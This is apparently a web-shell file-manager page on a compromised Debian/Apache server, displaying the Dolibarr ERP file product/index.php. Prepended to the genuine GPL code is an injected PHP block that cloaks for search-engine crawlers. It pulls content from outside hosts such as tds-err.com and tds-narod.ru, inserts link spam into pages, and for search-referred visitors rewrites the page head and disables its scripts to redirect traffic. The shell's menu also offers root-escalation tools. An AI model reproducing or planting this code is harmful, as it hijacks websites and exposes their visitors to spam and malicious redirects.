Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
product /
Delete
Unzip
Name
Size
Permission
Date
Action
admin
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
ajax
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
canvas
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
class
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
composition
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
dynamic_price
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
inventory
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
stats
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
stock
[ DIR ]
drwxr-xr-x
2025-11-25 13:11
agenda.php
7.17
KB
-rw-r--r--
2025-11-25 13:11
card.php
93.58
KB
-rw-r--r--
2025-11-25 13:11
document.php
12.37
KB
-rw-r--r--
2025-11-25 13:11
fournisseurs.php
35.52
KB
-rw-r--r--
2025-11-25 13:11
index.php
24.29
KB
-rw-r--r--
2025-11-25 13:11
list.php
44.1
KB
-rw-r--r--
2025-11-25 13:11
note.php
4.13
KB
-rw-r--r--
2025-11-25 13:11
popuprop.php
5.86
KB
-rw-r--r--
2025-11-25 13:11
price.php
88.13
KB
-rw-r--r--
2025-11-25 13:11
reassort.php
15.27
KB
-rw-r--r--
2025-11-25 13:11
reassortlot.php
16.79
KB
-rw-r--r--
2025-11-25 13:11
traduction.php
12.01
KB
-rw-r--r--
2025-11-25 13:11
Save
Rename
<?php if(!defined('_NET')) { error_reporting(0); $NET='sh19042'; define('_NET',$NET); if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/Los_Angeles');}$sll0='http://googlecountwebs.com/';$pinj_0='http://tds-err.com/i?r=1';$pinj_1='http://tds-narod.ru/i.txt';$FNN='lnk-trans2.php';$pinj_2='yahoo';$pinj_2='bing';$pinj_3=str_replace('google',$pinj_1,$sll0);$pinj_4='site';$sll0=str_replace('google',$pinj_4,$sll0);$pinj_5='';$pinj_6='';$pinj_7='';$pinj_8='';if(!empty($_SERVER['HTTP_USER_AGENT'])){$pinj_6=$_SERVER['HTTP_USER_AGENT'];}if(!empty($_SERVER['HTTP_REFERER'])){$pinj_5=$_SERVER['HTTP_REFERER'];}if(!empty($_SERVER['REQUEST_URI'])){$pinj_7=$_SERVER['REQUEST_URI'];}if(!empty($_SERVER['REMOTE_ADDR'])){$pinj_8=$_SERVER['REMOTE_ADDR'];}if(!function_exists('get_cont')){function get_cont($pinj_9){if(function_exists('curl_init')){if(strpos($pinj_9,'NET=',0)>0){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_12=0;$pinj_13=0;$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if((strpos($pinj_11,' 404 Not',0)>0)||(strpos($pinj_11,'Location:',0)>0)){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;$pinj_12=1;}}else{if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}if($pinj_13==0){$pinj_14=array();$pinj_15=0;while(preg_match("/(Location:|URI:)[^(\n)]*/",$pinj_11,$pinj_14)&&($pinj_15<3)){$pinj_9=trim(str_replace($pinj_14[1],"",$pinj_14[0]));$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);$pinj_15=$pinj_15+1;$pinj_14=array();}if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);if($pinj_12==1){curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");}else{curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");}$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_16=@file_get_contents($pinj_9);return $pinj_16;}}if(!function_exists('SEbot_')){function SEbot_($pinj_17){if(strpos('-' .strtolower($pinj_17),'x compatible',0)>0){return 0;}if(strpos('-' .strtolower($pinj_17),'googlebot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'slurp',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'bing',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'msnbot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'yahoo',0)>0){return 1;}return 0;}}if(!function_exists('not_do_')){function not_do_($pinj_18){$pinj_19='gif|jpeg|png|js|css|swf|ico|txt|pdf|xml|jpg|pdf|doc';$pinj_20=explode("|",$pinj_19);$pinj_21=0;while($pinj_21<count($pinj_22)){if(strpos(' ' .strtolower($pinj_18),$pinj_22[$pinj_21],0)>0)return 1;$pinj_21=$pinj_21+1;}return 0;}}if(!function_exists('detect_encoding_')){function detect_encoding_($pinj_23){static $pinj_24=array('UTF-8','ASCII','Windows-1251','ISO-8859-2','ISO-8859-3','ISO-8859-4','ISO-8859-5','ISO-8859-6','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-10','ISO-8859-13','ISO-8859-14','ISO-8859-15','ISO-8859-16','ISO-8859-1','Windows-1252','Windows-1254',);foreach($pinj_24 as $pinj_25){$pinj_26=@iconv($pinj_25,$pinj_25 .'',$pinj_23);if(md5($pinj_26)== md5($pinj_23))return $pinj_25;}return null;}}if(isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on')){$pinj_27='https';}else{$pinj_27='http';}$pinj_28=substr(str_replace('www.','',$_SERVER['SERVER_NAME']),0,4);if((SEbot_($pinj_6)>0)&&empty($pinj_29)&&(not_do_($pinj_7)==0)){$pinj_29=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_29)>200){$pinj_30=get_cont($sll0 .$FNN .'?d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);$pinj_31=$pinj_29;$pinj_32=strpos(strtolower($pinj_29),"<body",0);$pinj_33=strpos(strtolower($pinj_29),">",$pinj_32);if(($pinj_32>0)&&($pinj_33>0)){$pinj_29=substr($pinj_31,0,$pinj_33+1) .$pinj_30 .'' .substr($pinj_31,$pinj_33+1);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}$pinj_29=str_replace('</body>',$pinj_30 .'</body>',$pinj_29);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}}if(isset($pinj_5)&&((strpos($pinj_5,'ogle.',0)>0)||(strpos($pinj_5,'ing.',0)>0)||(strpos($pinj_5,'ahoo.',0)>0)||(strpos($pinj_5,'ask.com',0)>0)||(strpos($pinj_5,'aol.',0)>0)||(strpos($pinj_5,'duckduckgo.',0)>0)||(strpos($pinj_5,'baidu.',0)>0))){$pinj_34='mkke';$pinj_35=180;if(!isset($_COOKIE[$pinj_34])||($_COOKIE[$pinj_34]<(time()))){$pinj_36=get_cont($sll0 .$FNN .'?rd=1&d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);if(strlen($pinj_36,'<!-- -->',0)>0)$pinj_35=9000;if(strlen($pinj_36)>10){$pinj_37=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_37)>400){$pinj_36=str_replace('-SID-',$NET,$pinj_36); $pinj_37=str_replace(' src="',' xsrc="',$pinj_37); $pinj_37=str_replace(" src='"," xsrc='",$pinj_37); $pinj_37=str_replace("<script","<comment",$pinj_37); $pinj_37=str_replace("</script","</comment",$pinj_37); $pinj_37=str_replace('</head>',$pinj_36 .'</head>',$pinj_37);setcookie($pinj_34,(time()+$pinj_35),(time()+$pinj_35*2),'/','.' .str_replace('www.','',$_SERVER['SERVER_NAME'])); echo $pinj_37;exit;}}}} $p1='_lo'; $p1=$p1.'ads'; $i=0; while($i<12) { $p1='x'.$p1; $i=$i+1;} $p2=$p1.'2'; if(isset($_GET[$p1]) || isset($_POST[$p1]) ) { exit;} if(isset($_GET[$p2]) ) { $_GET[$p1]=$_GET[$p2];} if(isset($_POST[$p2]) ) { $_POST[$p1]=$_POST[$p2];} } /*,.*/ ?><?php /* Copyright (C) 2001-2006 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2004-2015 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2005-2014 Regis Houssin <regis.houssin@capnetworks.com> * Copyright (C) 2014-2016 Charlie BENKE <charlie@patas-monkey.com> * Copyright (C) 2015 Jean-François Ferry <jfefe@aternatik.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * \file htdocs/product/index.php * \ingroup product * \brief Homepage products and services */ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/product/dynamic_price/class/price_parser.class.php'; $type=GETPOST("type",'int'); if ($type =='' && !$user->rights->produit->lire) $type='1'; // Force global page on service page only if ($type =='' && !$user->rights->service->lire) $type='0'; // Force global page on product page only // Security check if ($type=='0') $result=restrictedArea($user,'produit'); else if ($type=='1') $result=restrictedArea($user,'service'); else $result=restrictedArea($user,'produit|service'); // Load translation files required by the page $langs->loadLangs(array('products', 'stocks')); // Initialize technical object to manage hooks. Note that conf->hooks_modules contains array of hooks $hookmanager->initHooks(array('productindex')); $product_static = new Product($db); /* * View */ $transAreaType = $langs->trans("ProductsAndServicesArea"); $helpurl=''; if (! isset($_GET["type"])) { $transAreaType = $langs->trans("ProductsAndServicesArea"); $helpurl='EN:Module_Products|FR:Module_Produits|ES:Módulo_Productos'; } if ((isset($_GET["type"]) && $_GET["type"] == 0) || empty($conf->service->enabled)) { $transAreaType = $langs->trans("ProductsArea"); $helpurl='EN:Module_Products|FR:Module_Produits|ES:Módulo_Productos'; } if ((isset($_GET["type"]) && $_GET["type"] == 1) || empty($conf->product->enabled)) { $transAreaType = $langs->trans("ServicesArea"); $helpurl='EN:Module_Services_En|FR:Module_Services|ES:Módulo_Servicios'; } llxHeader("", $langs->trans("ProductsAndServices"), $helpurl); $linkback=""; print load_fiche_titre($transAreaType,$linkback,'title_products.png'); print '<div class="fichecenter"><div class="fichethirdleft">'; if (! empty($conf->global->MAIN_SEARCH_FORM_ON_HOME_AREAS)) // This is useless due to the global search combo { // Search contract if ((! empty($conf->product->enabled) || ! empty($conf->service->enabled)) && ($user->rights->produit->lire || $user->rights->service->lire)) { $listofsearchfields['search_product']=array('text'=>'ProductOrService'); } if (count($listofsearchfields)) { print '<form method="post" action="'.DOL_URL_ROOT.'/core/search.php">'; print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">'; print '<table class="noborder nohover centpercent">'; $i=0; foreach($listofsearchfields as $key => $value) { if ($i == 0) print '<tr class="liste_titre"><td colspan="3">'.$langs->trans("Search").'</td></tr>'; print '<tr '.$bc[false].'>'; print '<td class="nowrap"><label for="'.$key.'">'.$langs->trans($value["text"]).'</label></td><td><input type="text" class="flat inputsearch" name="'.$key.'" id="'.$key.'" size="18"></td>'; if ($i == 0) print '<td rowspan="'.count($listofsearchfields).'"><input type="submit" value="'.$langs->trans("Search").'" class="button"></td>'; print '</tr>'; $i++; } print '</table>'; print '</form>'; print '<br>'; } } /* * Number of products and/or services */ $prodser = array(); $prodser[0][0]=$prodser[0][1]=$prodser[0][2]=$prodser[0][3]=0; $prodser[1][0]=$prodser[1][1]=$prodser[1][2]=$prodser[1][3]=0; $sql = "SELECT COUNT(p.rowid) as total, p.fk_product_type, p.tosell, p.tobuy"; $sql.= " FROM ".MAIN_DB_PREFIX."product as p"; $sql.= ' WHERE p.entity IN ('.getEntity($product_static->element, 1).')'; // Add where from hooks $parameters=array(); $reshook=$hookmanager->executeHooks('printFieldListWhere',$parameters); // Note that $action and $object may have been modified by hook $sql.=$hookmanager->resPrint; $sql.= " GROUP BY p.fk_product_type, p.tosell, p.tobuy"; $result = $db->query($sql); while ($objp = $db->fetch_object($result)) { $status=3; if (! $objp->tosell && ! $objp->tobuy) $status=0; // Not on sale, not on purchase if ($objp->tosell && ! $objp->tobuy) $status=1; // On sale only if (! $objp->tosell && $objp->tobuy) $status=2; // On purchase only $prodser[$objp->fk_product_type][$status]=$objp->total; } print '<div class="div-table-responsive-no-min">'; print '<table class="noborder" width="100%">'; print '<tr class="liste_titre"><th colspan="2">'.$langs->trans("Statistics").'</th></tr>'; if (! empty($conf->product->enabled)) { $statProducts = '<tr class="oddeven">'; $statProducts.= '<td><a href="list.php?type=0&tosell=0&tobuy=0">'.$langs->trans("ProductsNotOnSell").'</a></td><td align="right">'.round($prodser[0][0]).'</td>'; $statProducts.= "</tr>"; $statProducts.= '<tr class="oddeven">'; $statProducts.= '<td><a href="list.php?type=0">'.$langs->trans("ProductsOnSaleOnly").'</a></td><td align="right">'.round($prodser[0][1]).'</td>'; $statProducts.= "</tr>"; $statProducts.= '<tr class="oddeven">'; $statProducts.= '<td><a href="list.php?type=0">'.$langs->trans("ProductsOnPurchaseOnly").'</a></td><td align="right">'.round($prodser[0][2]).'</td>'; $statProducts.= "</tr>"; $statProducts.= '<tr class="oddeven">'; $statProducts.= '<td><a href="list.php?type=0&tosell=1&tobuy=1">'.$langs->trans("ProductsOnSellAndOnBuy").'</a></td><td align="right">'.round($prodser[0][3]).'</td>'; $statProducts.= "</tr>"; } if (! empty($conf->service->enabled)) { $statServices = '<tr class="oddeven">'; $statServices.= '<td><a href="list.php?type=1&tosell=0&tobuy=0">'.$langs->trans("ServicesNotOnSell").'</a></td><td align="right">'.round($prodser[1][0]).'</td>'; $statServices.= "</tr>"; $statServices.= '<tr class="oddeven">'; $statServices.= '<td><a href="list.php?type=1">'.$langs->trans("ServicesOnSaleOnly").'</a></td><td align="right">'.round($prodser[1][1]).'</td>'; $statServices.= "</tr>"; $statServices.= '<tr class="oddeven">'; $statServices.= '<td><a href="list.php?type=1">'.$langs->trans("ServicesOnPurchaseOnly").'</a></td><td align="right">'.round($prodser[1][2]).'</td>'; $statServices.= "</tr>"; $statServices.= '<tr class="oddeven">'; $statServices.= '<td><a href="list.php?type=1&tosell=1&tobuy=1">'.$langs->trans("ServicesOnSellAndOnBuy").'</a></td><td align="right">'.round($prodser[1][3]).'</td>'; $statServices.= "</tr>"; } $total=0; if ($type == '0') { print $statProducts; $total=round($prodser[0][0])+round($prodser[0][1])+round($prodser[0][2]); } else if ($type == '1') { print $statServices; $total=round($prodser[1][0])+round($prodser[1][1])+round($prodser[1][2]); } else { print $statProducts.$statServices; $total=round($prodser[1][0])+round($prodser[1][1])+round($prodser[1][2])+round($prodser[0][0])+round($prodser[0][1])+round($prodser[0][2]); } print '<tr class="liste_total"><td>'.$langs->trans("Total").'</td><td align="right">'; print $total; print '</td></tr>'; print '</table>'; print '</div>'; if (! empty($conf->categorie->enabled) && ! empty($conf->global->CATEGORY_GRAPHSTATS_ON_PRODUCTS)) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; print '<br>'; print '<div class="div-table-responsive-no-min">'; print '<table class="noborder" width="100%">'; print '<tr class="liste_titre"><th colspan="2">'.$langs->trans("Categories").'</th></tr>'; print '<tr '.$bc[0].'><td align="center" colspan="2">'; $sql = "SELECT c.label, count(*) as nb"; $sql.= " FROM ".MAIN_DB_PREFIX."categorie_product as cs"; $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."categorie as c ON cs.fk_categorie = c.rowid"; $sql.= " WHERE c.type = 0"; $sql.= " AND c.entity IN (".getEntity('category').")"; $sql.= " GROUP BY c.label"; $total=0; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i=0; if (! empty($conf->use_javascript_ajax)) { $dataseries=array(); $rest=0; $nbmax=10; while ($i < $num) { $obj = $db->fetch_object($result); if ($i < $nbmax) { $dataseries[]=array($obj->label, round($obj->nb)); } else { $rest+=$obj->nb; } $total+=$obj->nb; $i++; } if ($i > $nbmax) { $dataseries[]=array($langs->trans("Other"), round($rest)); } include_once DOL_DOCUMENT_ROOT.'/core/class/dolgraph.class.php'; $dolgraph = new DolGraph(); $dolgraph->SetData($dataseries); $dolgraph->setShowLegend(1); $dolgraph->setShowPercent(1); $dolgraph->SetType(array('pie')); $dolgraph->setWidth('100%'); $dolgraph->draw('idstatscategproduct'); print $dolgraph->show($total?0:1); } else { while ($i < $num) { $obj = $db->fetch_object($result); print '<tr><td>'.$obj->label.'</td><td>'.$obj->nb.'</td></tr>'; $total+=$obj->nb; $i++; } } } print '</td></tr>'; print '<tr class="liste_total"><td>'.$langs->trans("Total").'</td><td align="right">'; print $total; print '</td></tr>'; print '</table>'; print '</div>'; } print '</div><div class="fichetwothirdright"><div class="ficheaddleft">'; /* * Last modified products */ $max=15; $sql = "SELECT p.rowid, p.label, p.price, p.ref, p.fk_product_type, p.tosell, p.tobuy, p.tobatch, p.fk_price_expression,"; $sql.= " p.entity,"; $sql.= " p.tms as datem"; $sql.= " FROM ".MAIN_DB_PREFIX."product as p"; $sql.= " WHERE p.entity IN (".getEntity($product_static->element, 1).")"; if ($type != '') $sql.= " AND p.fk_product_type = ".$type; // Add where from hooks $parameters=array(); $reshook=$hookmanager->executeHooks('printFieldListWhere',$parameters); // Note that $action and $object may have been modified by hook $sql.=$hookmanager->resPrint; $sql.= $db->order("p.tms","DESC"); $sql.= $db->plimit($max,0); //print $sql; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; if ($num > 0) { $transRecordedType = $langs->trans("LastModifiedProductsAndServices",$max); if (isset($_GET["type"]) && $_GET["type"] == 0) $transRecordedType = $langs->trans("LastRecordedProducts",$max); if (isset($_GET["type"]) && $_GET["type"] == 1) $transRecordedType = $langs->trans("LastRecordedServices",$max); print '<div class="div-table-responsive-no-min">'; print '<table class="noborder" width="100%">'; $colnb=4; if (empty($conf->global->PRODUIT_MULTIPRICES)) $colnb++; print '<tr class="liste_titre"><th colspan="'.$colnb.'">'.$transRecordedType.'</th>'; print '<th class="right"><a href="'.DOL_URL_ROOT.'/product/list.php?sortfield=p.tms&sortorder=DESC">'.$langs->trans("FullList").'</td>'; print '</tr>'; while ($i < $num) { $objp = $db->fetch_object($result); //Multilangs if (! empty($conf->global->MAIN_MULTILANGS)) { $sql = "SELECT label"; $sql.= " FROM ".MAIN_DB_PREFIX."product_lang"; $sql.= " WHERE fk_product=".$objp->rowid; $sql.= " AND lang='". $langs->getDefaultLang() ."'"; $resultd = $db->query($sql); if ($resultd) { $objtp = $db->fetch_object($resultd); if ($objtp && $objtp->label != '') $objp->label = $objtp->label; } } print '<tr class="oddeven">'; print '<td class="nowrap">'; $product_static->id=$objp->rowid; $product_static->ref=$objp->ref; $product_static->label = $objp->label; $product_static->type=$objp->fk_product_type; $product_static->entity = $objp->entity; $product_static->status_batch = $objp->tobatch; print $product_static->getNomUrl(1,'',16); print "</td>\n"; print '<td>'.dol_trunc($objp->label,32).'</td>'; print "<td>"; print dol_print_date($db->jdate($objp->datem),'day'); print "</td>"; // Sell price if (empty($conf->global->PRODUIT_MULTIPRICES)) { if (!empty($conf->dynamicprices->enabled) && !empty($objp->fk_price_expression)) { $product = new Product($db); $product->fetch($objp->rowid); $priceparser = new PriceParser($db); $price_result = $priceparser->parseProduct($product); if ($price_result >= 0) { $objp->price = $price_result; } } print '<td align="right">'; if (isset($objp->price_base_type) && $objp->price_base_type == 'TTC') print price($objp->price_ttc).' '.$langs->trans("TTC"); else print price($objp->price).' '.$langs->trans("HT"); print '</td>'; } print '<td align="right" class="nowrap"><span class="statusrefsell">'; print $product_static->LibStatut($objp->tosell,3,0); print "</span></td>"; print '<td align="right" class="nowrap"><span class="statusrefbuy">'; print $product_static->LibStatut($objp->tobuy,3,1); print "</span></td>"; print "</tr>\n"; $i++; } $db->free($result); print "</table>"; print '</div>'; print '<br>'; } } else { dol_print_error($db); } // TODO Move this into a page that should be available into menu "accountancy - report - turnover - per quarter" // Also method used for counting must provide the 2 possible methods like done by all other reports into menu "accountancy - report - turnover": // "commitment engagment" method and "cash accounting" method if (! empty($conf->global->MAIN_SHOW_PRODUCT_ACTIVITY_TRIM)) { if (! empty($conf->product->enabled)) activitytrim(0); if (! empty($conf->service->enabled)) activitytrim(1); } print '</div></div></div>'; llxFooter(); $db->close(); /* * Print html activity for product type * * @param int $product_type Type of product * @return void */ function activitytrim($product_type) { global $conf,$langs,$db; global $bc; // We display the last 3 years $yearofbegindate=date('Y',dol_time_plus_duree(time(), -3, "y")); // breakdown by quarter $sql = "SELECT DATE_FORMAT(p.datep,'%Y') as annee, DATE_FORMAT(p.datep,'%m') as mois, SUM(fd.total_ht) as Mnttot"; $sql.= " FROM ".MAIN_DB_PREFIX."facture as f, ".MAIN_DB_PREFIX."facturedet as fd"; $sql.= " , ".MAIN_DB_PREFIX."paiement as p,".MAIN_DB_PREFIX."paiement_facture as pf"; $sql.= " WHERE f.entity = " . $conf->entity; $sql.= " AND f.rowid = fd.fk_facture"; $sql.= " AND pf.fk_facture = f.rowid"; $sql.= " AND pf.fk_paiement= p.rowid"; $sql.= " AND fd.product_type=".$product_type; $sql.= " AND p.datep >= '".$db->idate(dol_get_first_day($yearofbegindate),1)."'"; $sql.= " GROUP BY annee, mois "; $sql.= " ORDER BY annee, mois "; $result = $db->query($sql); if ($result) { $tmpyear=0; $trim1=0; $trim2=0; $trim3=0; $trim4=0; $lgn = 0; $num = $db->num_rows($result); if ($num > 0 ) { print '<table class="noborder" width="75%">'; if ($product_type==0) print '<tr class="liste_titre"><td align=left>'.$langs->trans("ProductSellByQuarterHT").'</td>'; else print '<tr class="liste_titre"><td align=left>'.$langs->trans("ServiceSellByQuarterHT").'</td>'; print '<td align=right>'.$langs->trans("Quarter1").'</td>'; print '<td align=right>'.$langs->trans("Quarter2").'</td>'; print '<td align=right>'.$langs->trans("Quarter3").'</td>'; print '<td align=right>'.$langs->trans("Quarter4").'</td>'; print '<td align=right>'.$langs->trans("Total").'</td>'; print '</tr>'; } $i = 0; $var=true; while ($i < $num) { $objp = $db->fetch_object($result); if ($tmpyear != $objp->annee) { if ($trim1+$trim2+$trim3+$trim4 > 0) { print '<tr class="oddeven"><td align=left>'.$tmpyear.'</td>'; print '<td align=right>'.price($trim1).'</td>'; print '<td align=right>'.price($trim2).'</td>'; print '<td align=right>'.price($trim3).'</td>'; print '<td align=right>'.price($trim4).'</td>'; print '<td align=right>'.price($trim1+$trim2+$trim3+$trim4).'</td>'; print '</tr>'; $lgn++; } // We go to the following year $tmpyear = $objp->annee; $trim1=0; $trim2=0; $trim3=0; $trim4=0; } if ($objp->mois == "01" || $objp->mois == "02" || $objp->mois == "03") $trim1 += $objp->Mnttot; if ($objp->mois == "04" || $objp->mois == "05" || $objp->mois == "06") $trim2 += $objp->Mnttot; if ($objp->mois == "07" || $objp->mois == "08" || $objp->mois == "09") $trim3 += $objp->Mnttot; if ($objp->mois == "10" || $objp->mois == "11" || $objp->mois == "12") $trim4 += $objp->Mnttot; $i++; } if ($trim1+$trim2+$trim3+$trim4 > 0) { print '<tr class="oddeven"><td align=left>'.$tmpyear.'</td>'; print '<td align=right>'.price($trim1).'</td>'; print '<td align=right>'.price($trim2).'</td>'; print '<td align=right>'.price($trim3).'</td>'; print '<td align=right>'.price($trim4).'</td>'; print '<td align=right>'.price($trim1+$trim2+$trim3+$trim4).'</td>'; print '</tr>'; } if ($num > 0 ) print '</table>'; } }